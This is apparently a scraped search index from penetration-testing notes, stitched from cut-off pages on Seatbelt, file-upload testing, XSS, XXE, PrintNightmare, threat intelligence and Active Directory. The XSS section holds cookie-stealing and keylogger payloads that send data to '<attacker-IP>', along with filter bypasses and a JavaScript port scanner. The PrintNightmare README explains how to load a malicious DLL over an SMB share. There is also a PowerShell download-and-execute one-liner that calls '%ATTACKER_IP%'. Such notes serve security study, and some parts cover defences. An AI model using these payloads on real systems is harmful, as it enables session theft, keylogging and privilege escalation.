To pass an argument to a command, enclose the command an arguments in double quotes.\n\nFor example, the following command returns 4624 logon events for the last 30 days:\n\n`Seatbelt.exe \"LogonEvents 30\"`\n\nThe following command queries a registry three levels deep, returning only keys/valueNames/values that match the regex `.*defini.*`, and ignoring any errors that occur.\n\n`Seatbelt.exe \"reg \\\"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\\" 3 .*defini.* true\"`\n\n\n## Output\n\nSeatbelt can redirect its output to a file with the `-outputfile=\"C:\\Path\\file.txt\"` argument. If the file path ends in .json, the output will be structured json.\n\nFor example, the following command will output the results of system checks to a txt file:\n\n`Seatbelt.exe -group=system -outputfile=\"C:\\Temp\\system.txt\"`\n\n\n## Remote Enumeration\n\nCommands noted with a + in the help menu can be run remotely against another system. This is performed over WMI via queries for WMI classes and WMI's StdRegProv for registry enumeration.\n\nTo enumerate a remote system, supply `-computername=COMPUTER.DOMAIN.COM` - an alternate username and password can be specified with `-username=DOMAIN\\USER -password=PASSWORD`\n\nFor example, the following command runs remote-focused checks against a remote system:\n\n`Seatbelt.exe -group=remote -computername=192.168.230.209 -username=THESHIRE\\sam -password=\"yum \\\"po-ta-toes\\\"\"`\n\n\n## Building Your Own Modules\n\nSeatbelt's structure is completely modular, allowing for additional command modules to be dropped into the file structure and loaded up dynamically.\n\nThere is a commented command module template at `.\\Seatbelt\\Commands\\Template.cs` for reference. Once built, drop the module in the logical file location, include it in the project in the Visual Studio Solution Explorer, and compile.\n\n\n## Compile Instructions\n\nWe are not planning on releasing binaries for Seatbelt, so you will have to compile yourself.\n\nSeatbelt has been built against .NET 3.5 and 4.0 with C# 8.0 features and is compatible with [Visual Studio Community Edition](https://visualstudio.microsoft.com/downloads/). Simply open up the project .sln, choose \"release\", and build. To change the target .NET framework version, [modify the project's settings](https://github.com/GhostPack/Seatbelt/issues/27) and rebuild the project.\n\n\n## Acknowledgments\n\nSeatbelt incorporates various collection items, code C# snippets, and bits of PoCs found throughout research for its capabilities.

Let's say that we've been given a website to perform a security audit on.\n1. The first thing we would do is take a look at the website as a whole. Using browser extensions such as the aforementioned Wappalyzer (or by hand) we would look for indicators of what languages and frameworks the web application might have been built with. Be aware that Wappalyzer is not always 100% accurate. A good start to enumerating this manually would be by making a request to the website and intercepting the response with Burpsuite. Headers such as server or x-powered-by can be used to gain information about the server. We would also be looking for vectors of attack, like, for example, an upload page.\n2. Having found an upload page, we would then aim to inspect it further. Looking at the source code for client-side scripts to determine if there are any client-side filters to bypass would be a good thing to start with, as this is completely in our control.\n3. We would then attempt a completely innocent file upload. From here we would look to see how our file is accessed. In other words, can we access it directly in an uploads folder? Is it embedded in a page somewhere? What's the naming scheme of the website? This is where tools such as Gobuster might come in if the location is not immediately obvious. This step is extremely important as it not only improves our knowledge of the virtual landscape we're attacking, it also gives us a baseline \"accepted\" file which we can base further testing on.\n    * An important Gobuster switch here is the -x switch, which can be used to look for files with specific extensions. For example, if you added -x php,txt,html to your Gobuster command, the tool would append .php, .txt, and .html to each word in the selected wordlist, one at a time. This can be very useful if you've managed to upload a payload and the server is changing the name of uploaded files.\n4. Having ascertained how and where our uploaded files can be accessed, we would then attempt a malicious file upload, bypassing any client-side filters we found in step two. We would expect our upload to be stopped by a server side filter, but the error message that it gives us can be extremely useful in determining our next steps.\n\n\nAssuming that our malicious file upload has been stopped by the server, here are some ways to ascertain what kind of server-side filter may be in place:\n\n    * If you can successfully upload a file with a totally invalid file extension (e.g. testingimage.invalidfileextension) then the chances are that the server is using an extension blacklist to filter out executable files. If this upload fails then any extension filter will be operating on a whitelist.\n    * Try re-uploading your originally accepted innocent file, but this time change the magic number of the file to be something that you would expect to be filtered. If the upload fails then you know that the server is using a magic number based filter.\n    * As with the previous point, try to upload your innocent file, but intercept the request with Burpsuite and change the MIME type of the upload to something that you would expect to be filtered. If the upload fails then you know that the server is filtering based on MIME types.\n    * Enumerating file length filters is a case of uploading a small file, then uploading progressively bigger files until you hit the filter. At that point you'll know what the acceptable limit is. If you're very lucky then the error message of original upload may outright tell you what the size limit is. Be aware that a small file length limit may prevent you from uploading the reverse shell we've been using so far.\n\n\n","description":"","tags":[],"title":"We'll look at this as a step-by-step process. Let's say that we've been given a website to perform a security audit on.","uri":"/exploit/web/methodology.html"},{"content":"Cross-Site ScriptingA web application is vulnerable to XSS if it uses unsanitized user input. XSS is possible in Javascript, VBScript, Flash and CSS.\n\n## Stored XSS\nThis is where a malicious string originates from the websites database. Such as (stored in a db)\n* User profiles\n* Chats and comments\n* Part of link\n\n* Blind xss is stored inside the app but effects are only visible by proxy, [xsshunter](https://xsshunter.com/).\n\n### Examples\n* Sanity test by changing DOM content\n```\n<script>document.getElementById('myIdName').innerHTML=\"napf\"</script>\n```\n\n* Cookie stealing\n\n```javascript\n<script>document.location='/log/'+document.cookie</script>\n```\n    * Navigte to `/logs` and take sid\n\n* Open nc port and collect cookies\n```javascript\n<script>document.location='http://<attacker-IP>:<attacker-Port>/XSS/grabber.php?c='+document.cookie</script>\n<script>var i=new Image;i.src=\"http://<attacker-IP>:<attacker-Port>/?\"+document.cookie;</script>\n\n```\n\n## Reflected XSS\nIn a reflected cross-site scripting attack, the malicious payload is part of the victims request to the website. The website includes this payload in response back to the user. To summarise, an attacker needs to trick a victim into clicking a URL to execute their malicious payload.\n* URL parameters inside GET queries\n* File paths\n\n### Usage\nAs script inside parameter\n```sh\nhttp://example.com/search?keyword=<script>...</script>\n```\n* Show server IP\n```\nhttp://example.com/reflected?keyword=<script>alert(window.location.hostname)</script>\n```\n* Session stealing, base64 encoded\n```javascript\n<script>fetch('http://<attacker-IP>/steal?cookie=' + btoa(document.cookie));</script>\n```\n    * open netcat binder to catch the http queries\n\n## DOM based XSS\nWith DOM-Based xss, an attackers payload will only be executed when the vulnerable Javascript code is either loaded or interacted with. It goes through a Javascript function like so:\n```javascript\nvar keyword = document.querySelector('#search')\nkeyword.innerHTML = <script>...</script>\n```\n\n### Usage\n* Find the sub-object inside the document\n```javascript\ntest\" onmouseover=\"alert('YO!')\"\n```\n* Show cookie\n```\ntest\" onmouseover=\"alert(document.cookie)\"\n```\n## Bypass Filters\n* `<script>` sanitizing\n```HTML\n<img src=x onerror=alert('Hello');>\n```\nor \n```javascript\n<</script>script>alert(\"1\");<</script>/script>\n```\n* `alert()` sanitizing\n```javascript\n0\\\"autofocus/onfocus=alert(1)--><onerror=prompt(2)>\"-confirm(3)-\"\n```\nor\n```javascript\n0\\\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>\"-confirm(3)-\"\n```\n* Strings, here its `Hello`\n```javascript\n<style>@keyframes slidein {}</style><xss style=\"animation-duration:1s;animation-name:slidein;animation-iteration-count:2\" onanimationiteration=\"alert('Hello')\"></xss>\n```\n\n## Portscanner via Javascript\n* By requesting the favicon, checking port 80\n```javascript\n <script>\n\u2003for (let i = 0; i < 256; i++) {\n\u2003\u2003let ip = '192.168.0.' + i\n\n\u2003\u2003let code = '<img src=\"http://' + ip + '/favicon.ico\" onload=\"this.onerror=null; this.src=/log/' + ip + '\">'\n\u2003\u2003document.body.innerHTML += code\n\u2003}\n</script> \n```\n\n* [pdp's portscanner](https://www.gnucitizen.org/files/2006/08/jsportscanner.js)\n\n\n## Keylogger\n```javascript\n <script type=\"text/javascript\">\n\u2003let l = \"\"; // Variable to store key-strokes in\n\u2003document.onkeypress = function (e) { // Event to listen for key presses\n\u2003\u2003\u2003l += e.key; // If user types, log it to the l variable\n\u2003\u2003\u2003console.log(l); // update this line to post to your own server\n\u2003}\n</script> \n```\n* base64 encoded keylogger\n```javascript\n<script>\ndocument.onkeypress = function (e) {\n    fetch('http://<attacker-IP>/log?key=' + btoa(e.key) );\n}\n</script>\n```\n\n## Tab Nabbing\n\n* Redirection of source after opening a tab through a provisioned link and back referencing \n* [Hacktricks Tabnabbing](https://book.hacktricks.xyz/pentesting-web/reverse-tab-nabbing)\n\n\n## Tricks and Tips\n* Use Polyglots\n* [XSS Filter Evasion Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)\n* Close the a vulnerable, exploitable tag and open a script tag\n```html\n</tag><script>alert(1);</script>\n```\n\n## Protection Methods\n\nThere are many ways to prevent XSS, here are the 3 ways to keep cross-site scripting our of your application.\n\n1. Escaping - Escape all user input. This means any data your application has received  is secure before rendering it for your end users. By escaping user input, key characters in the data received but the web page will be prevented from being interpreter in any malicious way. For example, you could disallow the < and > characters from being rendered.\n\n2. Validating Input - This is the process of ensuring your application is rendering the correct data and preventing malicious data from doing harm to your site, database and users. Input validation is disallowing certain characters from being submit in the first place.\n\n3. Sanitising - Lastly, sanitizing data is a strong defence but should not be used to battle XSS attacks alone. Sanitizing user input is especially helpful on sites that allow HTML markup, changing the unacceptable user input into an acceptable format. For example you could sanitise the < character into the HTML entity &#60;\n\n\n","description":"","tags":[],"title":"Cross-Site Scripting","uri":"/exploit/web/xss.html"},{"content":"Cookie Tampering\n## Components\n\n* Separator is `;`\n* Name\n* Value\n* Domain\n* Path\n* Expires/Maxage\n* Size\n* HttpOnly, no access by client side scripts\n* Secure, HTTPs only\n* SameSite, cookie sent through cross-site request\n* SameParty, firt party requests only\n* Priority\n\n## Response\n* May look like this\n```sh\nSet-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly\n```\n","description":"","tags":[],"title":"Cookie Tampering","uri":"/exploit/web/cookie_tampering.html"},{"content":"XPATH injection\n* Similar to SQL injection, it is a input/parameter injection\n\n* [payloads all the things XPATH](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)\n* Use [lanfran's payload list](https://lanfran02.github.io/posts/cold_vvars/XPATH_list.txt) as burpsuite sniper payload\n","description":"","tags":[],"title":"XPATH injection","uri":"/exploit/web/xpath.html"},{"content":"SSRF through iframe\n* [taken from Jomar's Website](https://www.jomar.fr/posts/2021/ssrf_through_pdf_generation/)\n* Upload iframe with attacker server and php code ready to be executed.

It often allows an attacker to interact with any backend or external systems that the application itself can access and can allow the attacker to read the file on that system. They can also cause Denial of Service (DoS) attack or could use XXE to perform Server-Side Request Forgery (SSRF) inducing the web application to make requests to other applications. XXE may even enable port scanning and lead to remote code execution.\n\nThere are two types of XXE attacks: in-band and out-of-band (OOB-XXE).\n1. An in-band XXE attack is the one in which the attacker can receive an immediate response to the XXE payload.\n\n2. out-of-band XXE attacks (also called blind XXE), there is no immediate response from the web application and attacker has to reflect the output of their XXE payload to some other file or their own server.\n\n## Document Type Definition (DTD)\nA DTD defines the structure and the legal

This vulnerability was fixed by only allowing administrators to add new printer drivers. A patched version of the print spooler will return `RPC_E_ACCESS_DENIED` (Code: `0x8001011b`) if a non-administrator tries to add a new printer driver. \n\n### CVE-2021-34527\n\nWhen [adding a new printer driver](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b), the `pDataFile` parameter in the [DRIVER_CONTAINER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/3a3f9cf7-8ec4-4921-b1f6-86cf8d139bc2) allows UNC paths. The DLL specified in `pDataFile` will however **not** be loaded, *but* it will get copied over to a local path allowing us to create a new printer driver with the `pConfigFile` parameter pointing to the local path which will load the DLL. A patched version of the printer spooler will return `ERROR_INVALID_PARAMETER` (Code: `0x57`)\n\n### Combining the pieces\n\nOnly CVE-2021-1675 is needed if the malicious DLL is already located on the target.\n\nFor PrintNightmare, if the DLL is not a local path, then CVE-2021-34527 can be used to fetch the DLL via UNC paths. For that reason, it is necessary to serve the DLL over SMB. If you're not familiar with SMB and UNC, read the following subsection.\n\nWhen creating a new printer driver, the DLL in the `pDataFile` parameter will **not** be loaded for security reasons. However, it *will* be copied over to `C:\\Windows\\system32\\spool\\drivers\\x64\\3\\`. Then, we could create a new printer driver that uses `pConfigFile` (which will load the DLL) with the local path. However, the DLL is in use by the first printer driver when creating the second printer driver. Instead, we could overwrite the first printer driver, which will make the printer driver's DLLs get copied over to `C:\\Windows\\system32\\spool\\drivers\\x64\\3\\old\\<I>\\`, where `<I>` is incremented for each DLL. Now we can create a third printer driver that will use the local path `C:\\Windows\\system32\\spool\\drivers\\x64\\3\\old\\<I>\\`, since the DLL is no longer used. Now it's just a matter of guessing `<I>` which will start incrementing from `1`.\n\nNote that the DLL will keep its filename locally, so if you initially run the exploit with `foo.dll` and it gets saved to `C:\\Windows\\system32\\spool\\drivers\\x64\\3\\old\\1\\foo.dll` and you then change the contents of `foo.dll` locally and run the exploit again and it now gets saved to `C:\\Windows\\system32\\spool\\drivers\\x64\\3\\old\\5\\foo.dll`, then the original `foo.dll` will be used since it is located in `C:\\Windows\\system32\\spool\\drivers\\x64\\3\\old\\1\\foo.dll`. Instead, simply change the filename if you change the contents of the DLL.\n\n#### SMB and UNC\n\nIn short, a UNC path is a path to a file or folder on a network rather than a local file, and it contains the server name and path. For instance, the UNC path `\\\\10.0.0.2\\files\\foo.txt` is a file `foo.txt` that is served from the `files` share of the server `10.0.0.2`. Usually, a share is served over SMB, but WebDAV is also supported. To create an SMB share on Linux, the easiest and most reliable way is to use the `Samba` package.\n\nTo install `Samba` with `apt`:\n```bash\n$ sudo apt install samba\n```\n\nEdit the `/etc/samba/smb.conf` and add the following at the end of the file:\n```\n[smb]\n    comment = Samba\n    path = /tmp/share\n    guest ok = yes\n    read only = yes\n    browsable = yes\n    force user = nobody\n```\n\nThis will create a new share called `smb` and serve the files inside `/tmp/share`. It allows for anonymous access, and the local user `nobody` will be used to browse the files.\n\nThen start the Samba service by doing:\n```bash\n$ sudo service smbd start\n```\n\nSuppose your Linux machine has the IP `192.168.1.100` and you wish to serve the `evil.dll`, then the UNC path in this scenario will be `\\\\192.168.1.100\\smb\\evil.dll`. \n\n## Authors\n- [@ly4k](https://github.com/ly4k)\n\n## Credits\n- [@cube0x0](https://github.com/cube0x0)'s [implementation](https://github.com/cube0x0/CVE-2021-1675)\n- [Impacket](https://github.com/SecureAuthCorp/impacket)","description":"","tags":[],"title":"PrintNightmare","uri":"/exploit/windows/print_nightmare/PrintNightmare/README.html"},{"content":"printspoofer\nPrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.  \n\nTo escalate privileges, the service account must have SeImpersonate privileges.

Once analyzed and actionable, then it becomes threat intelligence. The data needs context around to become intel.\n\n\n__Cyber Thread Intelligence (CTI)__ is a precautionary measure that companies use or contribute to so that other corporations do not get hit with the same attacks. Of course, adversaries change their TTPs all the time so the TI landscape is constantly changing.\n\nVendors and corporations will sometimes share their collected CTI in what are called __ISACs__ or __Information Sharing and Analysis Centers__. __ISACs__ collect various indicators of an adversary that other corporations can use as a precaution against adversaries.\n\n\nThreat Intelligence is also broken up into three different types.\n\n* Strategic\n    * Assist senior management make informed decisions specifically about the security budget and strategies.\n\n* Tactical\n    * Interacts with the TTPs and attack models to identify adversary attack patterns.\n\n* Operational\n    * Interact with IOCs and how the adversaries operationalize.\n\n\n\n## Advance Persistent Threats (APTs)\n* https://www.fireeye.com/current-threats/apt-groups.html\n\n## TTP\nTTP is an acronym for Tactics, Techniques, and Procedures, but what does each of these terms mean?\n\n* The __Tactic__ is the adversary's goal or objective.\n* The __Technique__ is how the adversary achieves the goal or objective.\n* The __Procedure__ is how the technique is executed.\n\nTI is an acronym for Threat Intelligence. Threat Intelligence is an overarching term for all collected information on adversaries and TTPs. You will also commonly hear CTI or Cyber Threat Intelligence which is just another way of saying Threat Intelligence.\n\n## Indicator of Compromise\n* __IOCs__ is an acronym for __Indicators of Compromise__, the indicators for malware and adversary groups. Indicators can include file hashes, IPs, names, etc.\n\n## Information Sharing and Analysis Centers (ISACs)\nAccording to the National Council of __ISACs__, \"Information Sharing and Analysis Centers (ISACs) are member-driven organizations, delivering all-hazards threat and mitigation information to asset owners and operators\". ISACs can be community-centered or vendor-specific. ISACs include CTI from threat actors as well as mitigation information in the form of IOCs, YARA rules, etc. ISACs maintain situational awareness by sharing and collaborating to maintain CTI, through a National Council of ISACs.\n\n* ISACs\n    * [US-CERT](https://us-cert.cisa.gov/)\n    * [AlienVault OTX](https://otx.alienvault.com/)\n    * [ThreatConnect](https://threatconnect.com/)\n    * [MISP](https://www.misp-project.org/)\n\n\n","description":"","tags":[],"title":"Threat Intelligence","uri":"/misc/threat_intelligence/isac.html"},{"content":"Active Directory Enumeration\n* Consists of\n    * Domain Controller \n    * Organizational Units\n        * Users\n        * Groups\n    * Trusts\n    * AD Domains\n    * AD Forest\n    * Policies\n\n* Administrative accounts are\n    * Domain Admin\n    * Enterprise Admin\n    * Schema Admin\n    * Server Operator\n    * Account Operator\n\n## Domain Controller\n\n* AD Domain Services data store\n* Authentication and authorization\n* Update replication / sync with other domain controllers in the forest\n* Administration of domain resources\n\n### AD DS Store\n\n* Database of directory info such as users, groups and services\n    * `ntdis.dit` contains the information, including password hashes\n    * `SystemRoot%\\NTDS`\n\n### Forest\n\n* __Trees__, hierarchy of domains in the AD Domain Services\n* __Domains__, groups of objects\n* __Organizational Units (OU)__, containers of objects such as groups, users, printers and other resources\n* __Trusts__, allows users to access resources in a different domain\n* __Objects__ users, groups, printers, computers or shares\n* __Domain Services__, DNS, LLMNR, SMB\n* __Domain Schema__, Rules for object creation\n\n### Users\n\n* __Domain Admin__, DC access\n* __Server Accounts__, service maintenance, may have admin permissions\n* __Local Admin__, administrative persmission on an object but not the DC\n* __Domain Users__, average user account on a local machine which may have admin permissions\n\n\n### Policies\n\n* Rule sets\n* Apply to a domain\n* Enable or disables services on a domain basis, like antivirus and malware scanning\n    * __Disable Windows Defender__\n    * Communication signing, e.g. SMB\n\n### Domain Services \n\n* __LDAP__\n* __Certificates__ handling for services, CRL\n* __DNS, LLMNR, NBT-NS__\n\n### Authentication\n\n* __NTLM__, ticket granting service \n* __Kerberos__, challenge/response via hashes\n\n## Usage\n\n* Cmdlets on Domain Controller\n* Get some help, `Get-Help Get-Command -Examples`, `Get-Command Get-*`\n\n* From `ActiveDirectory` module\n```sh\nImport-Module Active-Directory\nGet-ADDomain | Select-Object NetBIOSName,DNSRoot,InfrastructureMaster\nGet-ADForest | Select-Object Domains\nGet-ADTrust -Filter * | Select-Object Direction,Source,Target\n```\n\n* `systeminfo | findstr Domain`\n* `Get-ADUser -filter *`\n* Use found CN and DC and specify\n* `Get-ADUser -filter * -searchBase \"CN=Users,DC=<foundDC>,DC=<domainEnding>\"`\n\n### Powerview Module\n\n* [Powerview](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)\n```sh\nImport-Module .\\PowerView.ps1\nGet-NetDomain\nGet-NetDomainController\nGet-NetForest\nGet-NetDomainTrust\n```\n\n### DNS\n* Check ip via `ipconfig`\n* `nslookup`, then `server <LocalIP>` and zone transfer via \n```sh\nls -d <Domain>\n```\n\n### Tips & Tricks\n\n* Download and execute in one line\n```sh\npowershell -exec bypass -c  \"IEX(New-Object Net.WebClient).downloadString('http://%ATTACKER_IP%:8000/PowerVi\new.ps1'); Get-NetUser | select samaccountname, description\"\n```\n","description":"","tags":[],"title":"Active Directory Enumeration","uri":"/misc/active_directory/active_directory.html"},{"content":"Lateral Movement\n* Finding credentials with more permissions move through the network cloaked, avoiding detection\n* Context of connections from A to B with permission C might be suspicious, therefore some bypass has to be found\n* Local and network/domain accounts have to be distinguished.
